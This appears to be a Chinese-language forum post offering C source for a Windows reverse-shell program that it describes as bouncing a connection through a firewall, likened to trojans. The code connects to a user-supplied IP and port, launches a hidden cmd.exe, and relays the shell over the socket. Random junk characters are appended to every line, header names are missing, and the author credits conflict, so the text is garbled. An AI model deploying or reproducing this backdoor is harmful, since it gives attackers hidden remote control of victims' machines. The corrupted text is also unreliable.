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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8]j*z n?,  
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/* ============================== {u)>W@Lr  
Rebound port in Windows NT SS*3Qx:[  
By wind,2006/7 Ci(c`1av  
===============================*/ @<`P-+m  
#include #G!\MYfQt  
#include B|SE |  
D A_}pS"  
#pragma comment(lib,"wsock32.lib") c$^~7.~{Qy  
b>]k=zd  
void OutputShell(); ^ DCBL&I  
SOCKET sClient; x|`BF%e/v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Aa4 DJ  
r&3EM[*Iw  
void main(int argc,char **argv) %fMFcL#h  
{ R1vuf*A5,  
WSADATA stWsaData; ,xI FF-[0  
int nRet; 9v@P|  
SOCKADDR_IN stSaiClient,stSaiServer; i+ICgMcd  
)}lO%B'K  
if(argc != 3) ^?5HagA  
{ H7%q[O  
printf("Useage:\n\rRebound DestIP DestPort\n"); ToR@XL!%rP  
return; "6q@}sz!  
} ;u;_\k<qK  
7_ s7 );  
WSAStartup(MAKEWORD(2,2),&stWsaData); \=uD)9 V  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zS*vKyye>  
#Q` TH<  
stSaiClient.sin_family = AF_INET; +vt?3i\^.  
stSaiClient.sin_port = htons(0); {H3B1*Dk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i F \H  
)~-r&Q5d  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O-&^;]ieJ  
{ %f5c,}  
printf("Bind Socket Failed!\n"); >!MRk[@ V-  
return; xSrjN  
} 7:e5l19 uI  
Y_nl9}&+C0  
stSaiServer.sin_family = AF_INET; P&IS$FC.\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IoZ _zz0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bF'Jm*f  
DT3"uJTt  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~,7Tj  
{ MO%+rf0~w  
printf("Connect Error!"); K_F"j!0  
return; 'U-8w@\Z  
} P!dSJ1'oC  
OutputShell(); b_f"(l8'S  
} N\anjG  
zl<D"eP  
void OutputShell() <:4b4Nl  
{ SZvp %hS0  
char szBuff[1024];  [ J4n%  
SECURITY_ATTRIBUTES stSecurityAttributes; CsEU:v  
OSVERSIONINFO stOsversionInfo; A|YiSwyy  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _*ar\A`  
STARTUPINFO stStartupInfo; I]a [Ngj  
char *szShell; f7/M_sx  
PROCESS_INFORMATION stProcessInformation; P'^& SK  
unsigned long lBytesRead; MM6PaD{  
-"rANP-UI  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4%#q.qI  
c#-*]6x  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fJ=v?  
stSecurityAttributes.lpSecurityDescriptor = 0; QXW> }GdKZ  
stSecurityAttributes.bInheritHandle = TRUE; qOv`&%txW  
Jl<pWjkZZ  
P*n/qj8h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o8Yq3N+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k}C4:?AT  
WO6R04+WV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qM<CBcON  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pkv+^[(4  
stStartupInfo.wShowWindow = SW_HIDE; a4n5i.;  
stStartupInfo.hStdInput = hReadPipe; Ibg~.>.u{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '61>.u:2  
L+~XW'P?  
GetVersionEx(&stOsversionInfo); Nw{Cu+AwG  
iJ`zWpj+{Q  
switch(stOsversionInfo.dwPlatformId) tz5\O}  
{ a7!{`fR5  
case 1: ]k8f1F  
szShell = "command.com"; f@2F!  
break; 3$S~!fh  
default: ZW4$Ks2]Y  
szShell = "cmd.exe"; a(kY,<}  
break; v 6s]X*l?  
} Rg^ps  
!%[fi[p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hj}PL  
OF2 W UcQ  
send(sClient,szMsg,77,0); a"`> J!  
while(1) "T*1C=  
{ sX-@ >%l  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3m$ck$  
if(lBytesRead) axOEL:-|Bu  
{ Y<V$3h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t37<<5A  
send(sClient,szBuff,lBytesRead,0); N<b~,[yCd>  
} BS ]:w(}[  
else T;]Ob3(BpW  
{ AiB]A}  
lBytesRead=recv(sClient,szBuff,1024,0); virt[5w  
if(lBytesRead<=0) break; (\'$$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zp5ZZcj_  
} o=6 <?v7  
} e]5NA?2j  
^$X|Lq  
return; {u+=K-Bj  
}
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